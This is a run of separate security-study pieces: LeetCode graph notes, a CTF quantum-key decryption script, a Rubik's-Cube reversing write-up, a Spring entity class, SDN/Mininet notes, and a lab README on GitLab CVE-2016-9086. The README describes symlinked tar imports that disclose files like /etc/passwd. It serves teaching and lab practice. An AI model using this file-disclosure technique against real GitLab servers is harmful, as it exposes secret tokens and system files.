!isBipartite(i, 0, colors, graph)) { return false; } } return true; } private boolean isBipartite(int curNode, int curColor, int[] colors, int[][] graph) { if (colors[curNode] != -1) { return colors[curNode] == curColor; } colors[curNode] = curColor; for (int nextNode : graph[curNode]) { if (!isBipartite(nextNode, 1 - curColor, colors, graph)) { return false; } } return true; } ``` ## 拓扑排序 常用于在具有先序关系的任务规划中。 ### 1. 课程安排的合法性 207\. Course Schedule (Medium) [Leetcode](https://leetcode.com/problems/course-schedule/description/) / [力扣](https://leetcode-cn.com/problems/course-schedule/description/) ```html 2, [[1,0]] return true ``` ```html 2, [[1,0],[0,1]] return false ``` 题目描述:一个课程可能会先修课程,判断给定的先修课程规定是否合法。 本题不需要使用拓扑排序,只需要检测有向图是否存在环即可。 ```java public boolean canFinish(int numCourses, int[][] prerequisites) { List<Integer>[] graphic = new List[numCourses]; for (int i = 0; i < numCourses; i++) { graphic[i] = new ArrayList<>(); } for (int[] pre : prerequisites) { graphic[pre[0]].add(pre[1]); } boolean[] globalMarked = new boolean[numCourses]; boolean[] localMarked = new boolean[numCourses]; for (int i = 0; i < numCourses; i++) { if (hasCycle(globalMarked, localMarked, graphic, i)) { return false; } } return true; } private boolean hasCycle(boolean[] globalMarked, boolean[] localMarked, List<Integer>[] graphic, int curNode) { if (localMarked[curNode]) { return true; } if (globalMarked[curNode]) { return false; } globalMarked[curNode] = true; localMarked[curNode] = true; for (int nextNode : graphic[curNode]) { if (hasCycle(globalMarked, localMarked, graphic, nextNode)) { return true; } } localMarked[curNode] = false; return false; } ``` ### 2. 课程安排的顺序 210\. Course Schedule II (Medium) [Leetcode](https://leetcode.com/problems/course-schedule-ii/description/) / [力扣](https://leetcode-cn.com/problems/course-schedule-ii/description/) ```html 4, [[1,0],[2,0],[3,1],[3,2]] There are a total of 4 courses to take. To take course 3 you should have finished both courses 1 and 2. Both courses 1 and 2 should be taken after you finished course 0. So one correct course order is [0,1,2,3]. Another correct ordering is[0,2,1,3]. ``` 使用 DFS 来实现拓扑排序,使用一个栈存储后序遍历结果,这个栈的逆序结果就是拓扑排序结果。 证明:对于任何先序关系:v-\>w,后序遍历结果可以保证 w 先进入栈中,因此栈的逆序结果中 v 会在 w 之前。 ```java public int[] findOrder(int numCourses, int[][] prerequisites) { List<Integer>[] graphic = new List[numCourses]; for (int i = 0; i < numCourses; i++) { graphic[i] = new ArrayList<>(); } for (int[] pre : prerequisites) { graphic[pre[0]].add(pre[1]); } Stack<Integer> postOrder = new Stack<>(); boolean[] globalMarked = new boolean[numCourses]; boolean[] localMarked = new boolean[numCourses]; for (int i = 0; i < numCourses; i++) { if (hasCycle(globalMarked, localMarked, graphic, i, postOrder)) { return new int[0]; } } int[] orders = new int[numCourses]; for (int i = numCourses - 1; i >= 0; i--) { orders[i] = postOrder.pop(); } return orders; } private boolean hasCycle(boolean[] globalMarked, boolean[] localMarked, List<Integer>[] graphic, int curNode, Stack<Integer> postOrder) { if (localMarked[curNode]) { return true; } if (globalMarked[curNode]) { return false; } globalMarked[curNode] = true; localMarked[curNode] = true; for (int nextNode : graphic[curNode]) { if (hasCycle(globalMarked, localMarked, graphic, nextNode, postOrder)) { return true; } } localMarked[curNode] = false; postOrder.push(curNode); return false; } ``` ## 并查集 并查集可以动态地连通两个点,并且可以非常快速地判断两个点是否连通。 ### 1. 冗余连接 684\. Redundant Connection (Medium) [Leetcode](https://leetcode.com/problems/redundant-connection/description/) / [力扣](https://leetcode-cn.com/problems/redundant-connection/description/) ```html Input: [[1,2], [1,3], [2,3]] Output: [2,3] Explanation: The given undirected graph will be like this: 1 / \ 2 - 3 ``` 题目描述:有一系列的边连成的图,找出一条边,移除它之后该图能够成为一棵树。 ```java public int[] findRedundantConnection(int[][] edges) { int N = edges.length; UF uf = new UF(N); for (int[] e : edges) { int u = e[0], v = e[1]; if (uf.connect(u, v)) { return e; } uf.union(u, v); } return new int[]{-1, -1}; } private class UF { private int[] id; UF(int N) { id = new int[N + 1]; for (int i = 0; i < id.length; i++) { id[i] = i; } } void union(int u, int v) { int uID = find(u); int vID = find(v); if (uID == vID) { return; } for (int i = 0; i < id.length; i++) { if (id[i] == uID) { id[i] = vID; } } } int find(int p) { return id[p]; } boolean connect(int u, int v) { return find(u) == find(v); } } ```
sec-knowleage
import codecs import itertools import re from Crypto.Cipher import AES def read_data(file): with codecs.open(file, "r") as input_file: input_file.readline() input_file.readline() data = input_file.readline() return data def get_agreed_bytes(data_sent, bases_measured, bases_correct, v1, v2): agreed_bits = [] for i in range(len(bases_correct)): if bases_correct[i] == 'v': if bases_measured[i] == '+': if data_sent[i] == '-': agreed_bits.append(v1) else: agreed_bits.append(abs(v1 - 1)) else: if data_sent[i] == '/': agreed_bits.append(v2) else: agreed_bits.append((abs(v2 - 1))) return hex(int("".join([str(c) for c in agreed_bits]), 2))[2:-1] def main(): data_sent = read_data("q_transmission_1") bases_measured = read_data("q_transmission_2") bases_correct = read_data("q_transmission_3") flag = '269118188444e7af980a245aedce5fb2811b560ccfc5db8e41f102a23f8d595ffde84cb1b3f7af8efd7a919bd2a7e6d3'.decode( "hex") for x in itertools.product([0, 1], repeat=2): data = get_agreed_bytes(data_sent, bases_measured, bases_correct, x[0], x[1]) try: printable = data.decode("hex") print('potential key', printable) iv = re.findall("iv:(.*?),", printable)[0] key = re.findall("key:(.*?),", printable)[0] print(iv, key) cipher = AES.new(key.decode("hex"), AES.MODE_CBC, iv.decode("hex")) print(cipher.decrypt(flag)) except: pass main()
sec-knowleage
# GitLab Arbitrary File Disclosure (CVE-2016-9086) [中文版本(Chinese version)](README.zh-cn.md) GitLab is a web-based DevOps lifecycle tool that provides a Git repository manager providing wiki, issue-tracking and continuous integration and deployment pipeline features. Jobert Abma from HackerOne disclosed a critical security flaw in the "import/export project" feature of GitLab. Added in GitLab 8.9, this feature allows a user to export and then re-import their projects as tape archive files (tar). All GitLab versions prior to 8.13.0 restricted this feature to administrators only. Starting with version 8.13.0 this feature was made available to all users. This feature did not properly check for symbolic links in user-provided archives and therefore it was possible for an authenticated user to retrieve the contents of any file accessible to the GitLab service account. This included sensitive files such as those that contain secret tokens used by the GitLab service to authenticate users. Please see the issue for more details. References: - https://about.gitlab.com/releases/2016/11/02/cve-2016-9086-patches/ - https://hackerone.com/reports/178152 - http://paper.seebug.org/104/ ## Vulnerable environment Execute following command to start a GitLab Community Server 8.13.1: ``` docker compose up -d ``` After the server is started, browse the `http://your-ip:8080` to see the website, the credentials of default administrator account are `root` and `vulhub123456`. ## Exploit Signup and signin an account, then click the "GitLab export" button on the project creation page: ![](2.png) Uploaded the file [test.tar.gz](test.tar.gz), and the file `/etc/passwd` is disclosed: ![](1.png)
sec-knowleage
/* * Copyright 2015-2018 the original author or authors. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package example.users; import javax.persistence.Entity; import javax.persistence.GeneratedValue; import javax.persistence.Id; import javax.persistence.PrePersist; import javax.persistence.PreUpdate; import lombok.AccessLevel; import lombok.AllArgsConstructor; import lombok.EqualsAndHashCode; import lombok.Getter; import lombok.RequiredArgsConstructor; /** * A {@link User} domain object. The primary entity of this example. Basically a combination of a {@link Username} and * {@link Password}. * * @author Oliver Gierke */ @Entity @Getter @RequiredArgsConstructor @AllArgsConstructor(access = AccessLevel.PACKAGE) @EqualsAndHashCode(of = "id") public class User { private @GeneratedValue @Id Long id; private final Username username; private final Password password; User() { this.username = null; this.password = null; } /** * Makes sure only {@link User}s with encrypted {@link Password} can be persisted. */ @PrePersist @PreUpdate void assertEncrypted() { if (!password.isEncrypted()) { throw new IllegalStateException("Tried to persist/load a user with a non-encrypted password!"); } } }
sec-knowleage
# Sliding 2 Category: Reversing & Binary Exploitation, 500 points ## Description > This challenge is so easy my cousin can solve it in a few seconds! A binary file was attached. ## Solution Let's run the binary file: ```console ┌──(user@kali)-[/media/sf_CTFs/technion/Sliding_2] └─$ ./sliding_2 Enter key: test Invalid Key ``` So we need to provide a key. Let's open the executable with Ghidra and check the decompilation output. This is the main function: ```c undefined8 main(void) { uint int_input; size_t input_len; undefined8 ret; long in_FS_OFFSET; int i; char user_input [312]; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); printf("Enter key: "); __isoc99_scanf("%300s",user_input); input_len = strnlen(user_input,300); i = 0; do { if ((int)input_len <= i) { check_input(); ret = 0; LAB_5555555559a7: if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return ret; } int_input = char_to_int_05(user_input[i]); if ((int)int_input < 0) { printf("Invalid Key"); ret = 1; goto LAB_5555555559a7; } handle_input(int_input); i = i + 1; } while( true ); } ``` We can see that it reads an input of up to 300 characters. For each character, it calls `char_to_int_05`: ```c int char_to_int_05(char param_1) { int iVar1; iVar1 = param_1 + -0x30; if ((iVar1 < 0) || (5 < iVar1)) { iVar1 = -1; } return iVar1; } ``` This function reveals that the expected input is composed of digits 0-5. It simply converts the ASCII digits to integers. After the conversion, each integer is handled using some complex logic: ```c void handle_input(uint param_1) { undefined uVar1; long lVar2; uint uVar3; long in_FS_OFFSET; int local_4c; int local_48; undefined *local_40; undefined *local_38; undefined *local_30; undefined *local_28; undefined *local_20; lVar2 = *(long *)(in_FS_OFFSET + 0x28); uVar3 = param_1 * 2 & 2; if ((int)param_1 < 2) { local_38 = &DAT_555555558010; local_30 = &DAT_555555558030; local_28 = &DAT_555555558020; local_20 = &DAT_555555558040; if ((param_1 & 1) == 0) { local_40 = &DAT_555555558050; } else { local_40 = &DAT_555555558060; } } else { if ((int)param_1 < 4) { local_38 = &DAT_555555558010; local_30 = &DAT_555555558050; local_28 = &DAT_555555558020; local_20 = &DAT_555555558060; if ((param_1 & 1) == 0) { local_40 = &DAT_555555558040; } else { local_40 = &DAT_555555558030; } } else { local_38 = &DAT_555555558050; local_30 = &DAT_555555558030; local_28 = &DAT_555555558060; local_20 = &DAT_555555558040; if ((param_1 & 1) == 0) { local_40 = &DAT_555555558020; } else { local_40 = &DAT_555555558010; } } } for (local_4c = 0; local_4c < 3; local_4c = local_4c + 1) { if ((int)param_1 < 2) { uVar1 = local_38[(long)local_4c + (long)(int)uVar3 * 3]; local_38[(long)local_4c + (long)(int)uVar3 * 3] = local_30[(long)local_4c + (long)(int)uVar3 * 3]; local_30[(long)local_4c + (long)(int)uVar3 * 3] = local_28[(long)local_4c + (long)(int)uVar3 * 3]; local_28[(long)local_4c + (long)(int)uVar3 * 3] = local_20[(long)local_4c + (long)(int)uVar3 * 3]; local_20[(long)local_4c + (long)(int)uVar3 * 3] = uVar1; } else { if ((int)param_1 < 4) { uVar1 = local_38[(long)(int)uVar3 + (long)local_4c * 3]; local_38[(long)(int)uVar3 + (long)local_4c * 3] = local_30[(long)(int)uVar3 + (long)local_4c * 3]; local_30[(long)(int)uVar3 + (long)local_4c * 3] = local_28[(long)(int)(2 - uVar3) + (long)(2 - local_4c) * 3]; local_28[(long)(int)(2 - uVar3) + (long)(2 - local_4c) * 3] = local_20[(long)(int)uVar3 + (long)local_4c * 3]; local_20[(long)(int)uVar3 + (long)local_4c * 3] = uVar1; } else { uVar1 = local_38[(long)local_4c + (long)(int)uVar3 * 3]; local_38[(long)local_4c + (long)(int)uVar3 * 3] = local_30[(long)(int)(2 - uVar3) + (long)local_4c * 3]; local_30[(long)(int)(2 - uVar3) + (long)local_4c * 3] = local_28[(long)(2 - local_4c) + (long)(int)(2 - uVar3) * 3]; local_28[(long)(2 - local_4c) + (long)(int)(2 - uVar3) * 3] = local_20[(long)(int)uVar3 + (long)(2 - local_4c) * 3]; local_20[(long)(int)uVar3 + (long)(2 - local_4c) * 3] = uVar1; } } } for (local_48 = 0; local_48 < 2; local_48 = local_48 + 1) { if ((param_1 & 1) == 0) { uVar1 = local_40[local_48]; local_40[local_48] = local_40[(long)(2 - local_48) * 3]; local_40[(long)(2 - local_48) * 3] = local_40[(long)(2 - local_48) + 6]; local_40[(long)(2 - local_48) + 6] = local_40[(long)local_48 * 3 + 2]; local_40[(long)local_48 * 3 + 2] = uVar1; } else { uVar1 = local_40[local_48]; local_40[local_48] = local_40[(long)local_48 * 3 + 2]; local_40[(long)local_48 * 3 + 2] = local_40[(long)(2 - local_48) + 6]; local_40[(long)(2 - local_48) + 6] = local_40[(long)(2 - local_48) * 3]; local_40[(long)(2 - local_48) * 3] = uVar1; } } if (lVar2 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return; } ``` Finally, the computed output is verified: ```c void check_input(void) { int i; int j; int k; i = 0; do { if (5 < i) { printf("Congratulation, The flag is %s","cstechnion{################}"); return; } for (j = 0; j < 3; j = j + 1) { for (k = 0; k < 3; k = k + 1) { if (*(&PTR_DAT_555555558080)[i] != (&PTR_DAT_555555558080)[i][(long)k + (long)j * 3]) { printf("Invalid Key"); return; } } } i = i + 1; } while( true ); } ``` So what does it do? We can start by trying to understand what `check_input` actually checks. We can see a triple loop - the external loop runs `i` from `0` to `5`. What about `k` and `j`? ```python >>> [k + j *3 for j in range(3) for k in range(3)] [0, 1, 2, 3, 4, 5, 6, 7, 8] ``` So that's just a fancy way to iterate nine array indices. Essentially, the loop is testing if every index of the `PTR_DAT_555555558080[i]` 2D array is equal to `PTR_DAT_555555558080[i][0]`. What is `PTR_DAT_555555558080`? ```assembly PTR_DAT_555555558080 XREF[4]: check_input:555555555a11(*), check_input:555555555a18(R), check_input:555555555a41(*), check_input:555555555a48(R) 555555558080 50 80 55 addr DAT_555555558050 = 03h 55 55 55 00 00 555555558088 60 80 55 addr DAT_555555558060 = 03h 55 55 55 00 00 555555558090 40 80 55 addr DAT_555555558040 = 02h 55 55 55 00 00 555555558098 30 80 55 addr DAT_555555558030 = 04h 55 55 55 00 00 5555555580a0 10 80 55 addr DAT_555555558010 = 06h 55 55 55 00 00 5555555580a8 20 80 55 addr DAT_555555558020 = 04h 55 55 55 00 00 ``` It looks like an array of pointers, each pointer to some other array: ```assembly DAT_555555558010 XREF[7]: handle_input:555555555243(*), handle_input:55555555524a(*), handle_input:55555555529f(*), handle_input:5555555552a6(*), handle_input:555555555325(*), handle_input:55555555532c(*), 5555555580a0(*) 555555558010 06 ?? 06h 555555558011 02 ?? 02h 555555558012 02 ?? 02h 555555558013 04 ?? 04h 555555558014 03 ?? 03h 555555558015 02 ?? 02h 555555558016 05 ?? 05h 555555558017 04 ?? 04h 555555558018 04 ?? 04h 555555558019 00 ?? 00h 55555555801a 00 ?? 00h 55555555801b 00 ?? 00h 55555555801c 00 ?? 00h 55555555801d 00 ?? 00h 55555555801e 00 ?? 00h 55555555801f 00 ?? 00h DAT_555555558020 XREF[7]: handle_input:555555555259(*), handle_input:555555555260(*), handle_input:5555555552b5(*), handle_input:5555555552bc(*), handle_input:555555555332(*), handle_input:555555555339(*), 5555555580a8(*) 555555558020 04 ?? 04h 555555558021 06 ?? 06h 555555558022 01 ?? 01h 555555558023 04 ?? 04h 555555558024 04 ?? 04h 555555558025 03 ?? 03h 555555558026 03 ?? 03h 555555558027 03 ?? 03h 555555558028 03 ?? 03h 555555558029 00 ?? 00h 55555555802a 00 ?? 00h 55555555802b 00 ?? 00h 55555555802c 00 ?? 00h 55555555802d 00 ?? 00h 55555555802e 00 ?? 00h 55555555802f 00 ?? 00h DAT_555555558030 XREF[7]: handle_input:55555555524e(*), handle_input:555555555255(*), handle_input:5555555552d5(*), handle_input:5555555552dc(*), handle_input:5555555552fa(*), handle_input:555555555301(*), 555555558098(*) 555555558030 04 ?? 04h 555555558031 04 ?? 04h 555555558032 01 ?? 01h 555555558033 03 ?? 03h 555555558034 05 ?? 05h 555555558035 05 ?? 05h 555555558036 05 ?? 05h 555555558037 06 ?? 06h 555555558038 06 ?? 06h 555555558039 00 ?? 00h 55555555803a 00 ?? 00h 55555555803b 00 ?? 00h 55555555803c 00 ?? 00h 55555555803d 00 ?? 00h 55555555803e 00 ?? 00h 55555555803f 00 ?? 00h DAT_555555558040 XREF[7]: handle_input:555555555264(*), handle_input:55555555526b(*), handle_input:5555555552e2(*), handle_input:5555555552e9(*), handle_input:555555555310(*), handle_input:555555555317(*), 555555558090(*) 555555558040 02 ?? 02h 555555558041 02 ?? 02h 555555558042 05 ?? 05h 555555558043 01 ?? 01h 555555558044 02 ?? 02h 555555558045 01 ?? 01h 555555558046 06 ?? 06h 555555558047 01 ?? 01h 555555558048 01 ?? 01h 555555558049 00 ?? 00h 55555555804a 00 ?? 00h 55555555804b 00 ?? 00h 55555555804c 00 ?? 00h 55555555804d 00 ?? 00h 55555555804e 00 ?? 00h 55555555804f 00 ?? 00h DAT_555555558050 XREF[7]: handle_input:555555555289(*), handle_input:555555555290(*), handle_input:5555555552aa(*), handle_input:5555555552b1(*), handle_input:5555555552ef(*), handle_input:5555555552f6(*), 555555558080(*) 555555558050 03 ?? 03h 555555558051 05 ?? 05h 555555558052 02 ?? 02h 555555558053 06 ?? 06h 555555558054 01 ?? 01h 555555558055 06 ?? 06h 555555558056 04 ?? 04h 555555558057 01 ?? 01h 555555558058 06 ?? 06h 555555558059 00 ?? 00h 55555555805a 00 ?? 00h 55555555805b 00 ?? 00h 55555555805c 00 ?? 00h 55555555805d 00 ?? 00h 55555555805e 00 ?? 00h 55555555805f 00 ?? 00h DAT_555555558060 XREF[15]: handle_input:555555555279(*), handle_input:555555555280(*), handle_input:5555555552c0(*), handle_input:5555555552c7(*), handle_input:555555555305(*), handle_input:55555555530c(*), handle_input:55555555571c(R), handle_input:55555555573e(R), handle_input:55555555574a(W), handle_input:55555555577d(W), handle_input:5555555557df(R), handle_input:55555555580c(W), handle_input:555555555863(R), handle_input:555555555891(W), 555555558088(*) 555555558060 03 ?? 03h 555555558061 02 ?? 02h DAT_555555558062 XREF[4]: handle_input:5555555557a3(R), handle_input:5555555557cf(W), handle_input:555555555800(R), handle_input:55555555583c(W) 555555558062 01 ?? 01h 555555558063 05 ?? 05h 555555558064 06 ?? 06h 555555558065 03 ?? 03h DAT_555555558066 XREF[4]: handle_input:555555555765(R), handle_input:5555555557ad(W), handle_input:55555555581d(R), handle_input:55555555586d(W) 555555558066 02 ?? 02h 555555558067 05 ?? 05h 555555558068 05 ?? 05h 555555558069 00 ?? 00h 55555555806a 00 ?? 00h 55555555806b 00 ?? 00h 55555555806c 00 ?? 00h 55555555806d 00 ?? 00h 55555555806e 00 ?? 00h 55555555806f 00 ?? 00h ``` In these arrays, we find numbers between `1` and `6` (padded with zeroes for alignment?). If we take a look back at `handle_input`, we'll see that given a byte of user input (a number between `0` and `5`), the program swaps and shifts some elements of the arrays around. To get a better idea of what's happening, we can try to "flatten" the logic by removing the pointer level and use the following script to see what actually happens for each input: ```python import sys param_1 = int(sys.argv[1]) uVar3 = param_1 * 2 & 2 if (param_1 < 2): local_38 = "DAT_00104010" local_30 = "DAT_00104030" local_28 = "DAT_00104020" local_20 = "DAT_00104040" if ((param_1 & 1) == 0): local_40 = "DAT_00104050" else: local_40 = "DAT_00104060" else: if (param_1 < 4): local_38 = "DAT_00104010" local_30 = "DAT_00104050" local_28 = "DAT_00104020" local_20 = "DAT_00104060" if ((param_1 & 1) == 0): local_40 = "DAT_00104040" else: local_40 = "DAT_00104030" else: local_38 = "DAT_00104050" local_30 = "DAT_00104030" local_28 = "DAT_00104060" local_20 = "DAT_00104040" if ((param_1 & 1) == 0): local_40 = "DAT_00104020" else: local_40 = "DAT_00104010" for local_4c in range(0, 3): if (param_1 < 2): # 0, 1 print(f"uVar1 = {local_38}[{local_4c + uVar3 * 3}];") print(f"{local_38}[{local_4c + uVar3 * 3}] = {local_30}[{local_4c + uVar3 * 3}];") print(f"{local_30}[{local_4c + uVar3 * 3}] = {local_28}[{local_4c + uVar3 * 3}];") print(f"{local_28}[{local_4c + uVar3 * 3}] = {local_20}[{local_4c + uVar3 * 3}];") print(f"{local_20}[{local_4c + uVar3 * 3}] = uVar1;") else: if (param_1 < 4): # 2, 3 print(f"uVar1 = {local_38}[{uVar3 + local_4c * 3}];") print(f"{local_38}[{uVar3 + local_4c * 3}] = {local_30}[{uVar3 + local_4c * 3}];") print(f"{local_30}[{uVar3 + local_4c * 3}] = {local_28}[{(2 - uVar3) + (2 - local_4c) * 3}];") print(f"{local_28}[{(2 - uVar3) + (2 - local_4c) * 3}] = {local_20}[{uVar3 + local_4c * 3}];") print(f"{local_20}[{uVar3 + local_4c * 3}] = uVar1;") else: # 4, 5 print(f"uVar1 = {local_38}[{local_4c + uVar3 * 3}];") print(f"{local_38}[{local_4c + uVar3 * 3}] = {local_30}[{(2 - uVar3) + local_4c * 3}];") print(f"{local_30}[{(2 - uVar3) + local_4c * 3}] = {local_28}[{(2 - local_4c) + (2 - uVar3) * 3}];") print(f"{local_28}[{(2 - local_4c) + (2 - uVar3) * 3}] = {local_20}[{uVar3 + (2 - local_4c) * 3}];") print(f"{local_20}[{uVar3 + (2 - local_4c) * 3}] = uVar1;") print("\n") print("\n\n") for local_48 in range(2): if ((param_1 & 1) == 0): # 0, 2, 4 print(f"uVar1 = {local_40}[{local_48}];") print(f"{local_40}[{local_48}] = {local_40}[{(2 - local_48) * 3}];") print(f"{local_40}[{(2 - local_48) * 3}] = {local_40}[{(2 - local_48) + 6}];") print(f"{local_40}[{(2 - local_48) + 6}] = {local_40}[{local_48 * 3 + 2}];") print(f"{local_40}[{local_48 * 3 + 2}] = uVar1;") else: # 1, 3, 5 print(f"uVar1 = {local_40}[{local_48}];") print(f"{local_40}[{local_48}] = {local_40}[{local_48 * 3 + 2}];") print(f"{local_40}[{local_48 * 3 + 2}] = {local_40}[{(2 - local_48) + 6}];") print(f"{local_40}[{(2 - local_48) + 6}] = {local_40}[{(2 - local_48) * 3}];") print(f"{local_40}[{(2 - local_48) * 3}] = uVar1;") print("\n") ``` For example, if we input `0`, this is what will actually happen: ```console ┌──(user@kali)-[/media/sf_CTFs/technion/Sliding_2] └─$ python3 ./handle_input.py 0 uVar1 = DAT_00104010[0]; DAT_00104010[0] = DAT_00104030[0]; DAT_00104030[0] = DAT_00104020[0]; DAT_00104020[0] = DAT_00104040[0]; DAT_00104040[0] = uVar1; uVar1 = DAT_00104010[1]; DAT_00104010[1] = DAT_00104030[1]; DAT_00104030[1] = DAT_00104020[1]; DAT_00104020[1] = DAT_00104040[1]; DAT_00104040[1] = uVar1; uVar1 = DAT_00104010[2]; DAT_00104010[2] = DAT_00104030[2]; DAT_00104030[2] = DAT_00104020[2]; DAT_00104020[2] = DAT_00104040[2]; DAT_00104040[2] = uVar1; uVar1 = DAT_00104050[0]; DAT_00104050[0] = DAT_00104050[6]; DAT_00104050[6] = DAT_00104050[8]; DAT_00104050[8] = DAT_00104050[2]; DAT_00104050[2] = uVar1; uVar1 = DAT_00104050[1]; DAT_00104050[1] = DAT_00104050[3]; DAT_00104050[3] = DAT_00104050[7]; DAT_00104050[7] = DAT_00104050[5]; DAT_00104050[5] = uVar1; ``` There is some circular movement between elements from arrays `DAT_00104010`, `DAT_00104030`, `DAT_00104020` and `DAT_00104040`, together with some in-place scrambling of `DAT_00104050`. Different inputs produce a similar pattern, with the indices and the arrays themselves changing roles. Putting together everything that we've discovered, this all looks very much like a Rubik's Cube! * The six arrays are the six faces of the cube * Each face contains nine slots with nine colors * This cube supports six different operations * Each operation shifts three colors from face to face and changed the order of the colors within another face * The puzzle is solved when each of the faces contains just one color To solve the puzzle, we can use a Rubik's Cube solver such as [kociemba](https://github.com/muodov/kociemba), but we first have to create some mapping between the colors, faces and operations of both programs. Let's name the different faces based on the LSB of the matching array. So `DAT_00104010` becomes `10`, and we also have `20`, `30`, `40`, `50` and `60`. From the output of `handle_input` we can learn about the relationship between all of the faces. For example, from the output we saw earlier, we know that `10` is next to `30` from one side, and `40` from the other side, since colors move from `10` to `30` and from `40` to `10`. Using the same logic, we know that `20` is connected to `40` and `30`, and we have our four candidates for the left, right, front and back faces. This leaves `50` and `60` as candidates for the top and bottom faces. By inspecting the relationship between the faces from additional operations, we arrive to the following layout: ``` 50 40 10 30 20 60 ``` The next step is to identify the mapping between the input operations (0-5) and the [standard notations](https://ruwix.com/the-rubiks-cube/notation/). Again, from following the logic for each operation based on `handle_input`, we see that: ``` 0 -> U 1 -> D' 2 -> L 3 -> R' 4 -> B 5 -> F' ``` Note that a single letter by itself refers to a **clockwise** face rotation in 90 degrees (quarter turn), while a letter followed by an apostrophe means to turn that face **counterclockwise** 90 degrees. Since `kociemba` doesn't limit itself to just 6 operations but instead uses all 12, we must translate the output of `kociemba` to the input for the challenge by performing three consecutive turns when a move we need is missing. For example, if `kociemba` instructs us to perform `D`, we can arrive to the same state by performing `D'` three times instead. The following script performs solves the cube for our specific state: ```python import kociemba import itertools # kociemba accepts the input in the order of {U, R, F, D, L, B} faces = [ [0x03, 0x05, 0x02, 0x06, 0x01, 0x06, 0x04, 0x01, 0x06], # 5 | 50 | U [0x04, 0x04, 0x01, 0x03, 0x05, 0x05, 0x05, 0x06, 0x06], # 3 | 30 | R [0x06, 0x02, 0x02, 0x04, 0x03, 0x02, 0x05, 0x04, 0x04], # 1 | 10 | F [0x03, 0x02, 0x01, 0x05, 0x06, 0x03, 0x02, 0x05, 0x05], # 6 | 60 | D [0x02, 0x02, 0x05, 0x01, 0x02, 0x01, 0x06, 0x01, 0x01], # 4 | 40 | L [0x04, 0x06, 0x01, 0x04, 0x04, 0x03, 0x03, 0x03, 0x03], # 2 | 20 | B ] color_id_to_encoding = { 1: 'U', 2: 'L', 3: 'F', 4: 'B', 5: 'R', 6: 'D' } """ Move mapping 0 -> U 1 -> D' 2 -> L 3 -> R' 4 -> B 5 -> F' """ moves = { "R" : "333", "R'": "3", "U" : "0", "U'": "000", "D" : "111", "D'": "1", "L" : "2", "L'": "222", "B" : "4", "B'": "444", "F" : "555", "F'": "5" } cube_repr = "" for c in itertools.chain.from_iterable(faces): cube_repr += color_id_to_encoding[c] try: s = kociemba.solve(cube_repr) print(cube_repr) print(s) for x in s.split(" "): if len(x) == 2 and x[1] == "2": print(moves[x[0]], end="") print(moves[x[0]], end="") else: print(moves[x], end="") print("\n") except ValueError: pass ``` Output: ```console ┌──(user@kali)-[/media/sf_CTFs/technion/Sliding_2] └─$ python3 solve.py FRLDUDBUDBBUFRRRDDDLLBFLRBBFLURDFLRRLLRULUDUUBDUBBFFFF R U' R U D2 R F B' D' R' U' B2 R2 U' L2 D' F2 U2 L2 F2 333000333011111133355544413000443333330002215555550022555555 ``` Let's enter it as the solution to get the flag: ```console ┌──(user@kali)-[/media/sf_CTFs/technion/Sliding_2] └─$ echo 333000333011111133355544413000443333330002215555550022555555 | nc ctf.cs.technion.ac.il 4312 Enter key: Congratulation, The flag is cstechnion{at_least_you_now_know_how_to_solve_a_rubik's_cube} ```
sec-knowleage
# SDN 笔记 --- ## ODL虚拟机基础配置 开完 ODL 虚拟机后先配置 IP 配置文件在 /etc/network/interface 目录下. ```bash vim /etc/network/interface iface eth0 inet static address 172.16.9.100 # 修改成自己的 IP 地址 netmask 255.255.255.0 # 修改成自己的掩码地址 gateway 172.16.9.254 # 修改成自己的网关地址 ``` 建议虚拟机开 NAT 模式 然后 IP 配置同网段 vmnet 网卡 IP 再用 SecureCRT 开3个窗口 SSH 上去,一个窗口开 Opendaylight,一个窗口开 Mininet,一个配置流表 --- ## OpenDaylight ```bash cd ODL/bin/ sudo ./karaf opendaylight-user@root> feature:install odl-restconf opendaylight-user@root> feature:install odl-l2switch-switch-ui opendaylight-user@root> feature:install odl-mdsal-apidocs opendaylight-user@root> feature:install odl-dluxapps-applications # 组件安装完成后,可以通过浏览器访问 OpenDaylight WEB 控制台,访问的 url 为:http://{controller_ip}:8181/index.html # 登录用户名和密码都是 admin # 其中{controller_ip}为 OpenDaylight 控制器的 IP 地址,如果是本机,则 ip 地址可以为 127.0.0.1. # 如果是SSH开2窗口的就不用挂起后台运行了,下面2步仅针对单 session 操作 Ctrl+z # 后台挂起 bg # 后台运行,不然不好访问 web ``` --- ## Mininet 使用 mininet 生成网络拓扑 > sudo mn --controller=remote,ip=xxx,xxx,xxx,xxx 显示 Mininet CLI 命令: > mininet> help 显示节点: > mininet> nodes 显示网络链接: > mininet> net 输出所有节点的信息: > mininet> dump ### 示例 **例1** #### 单交换机(Single switch) ``` sudo mn --arp --topo single,3 --mac --switch ovsk --controller remote - mac:自动设置 MAC 地址,MAC 地址与 IP 地址的最后一个字节相同 - arp:为每个主机设置静态ARP表,例如:主机1中有主机2和主机3的 IP 地址和 MAC 地址 ARP 表项,主机2和主机3依次类推. - switch:使用 OVS 的核心模式 - controller:使用远程控制器,可以指定远程控制器的 IP 地址和端口号,如果不指定则默认为 127.0.0.1 和 6633 ``` 创建完拓扑后即可使用 ping 命令进行测试:h1 ping h2 (注意:如果没有指定控制器的话,是 ping 不通的) **例2** 使用 Mininet 和 OpenVswitch 构建拓扑,采用采用 OVS 交换机格式,连接 ODL 的 6653 端口 Openflow1.3 协议 #### 深度2,扇出系数2 ``` sudo mn --topo tree,2,2 --switch ovs,protocols=OpenFlow13 --controller remote,ip=127.0.0.1,port=6653 ``` ``` s2 --- s1 --- s3 h1 h2 h3 h4 ``` ``` pingall //测试 ``` --- **例3** 使用 Mininet 构建拓扑,采用 ovsk 交换格式,连接 ODL 的远程地址为 192.168.10.128:6653,协议类型是 Openflow1.30 ``` sudo mn --topo tree,2,2 --switch ovsk,protocols=OpenFlow13 --controller remote,ip=192.168.10.128,port=6653 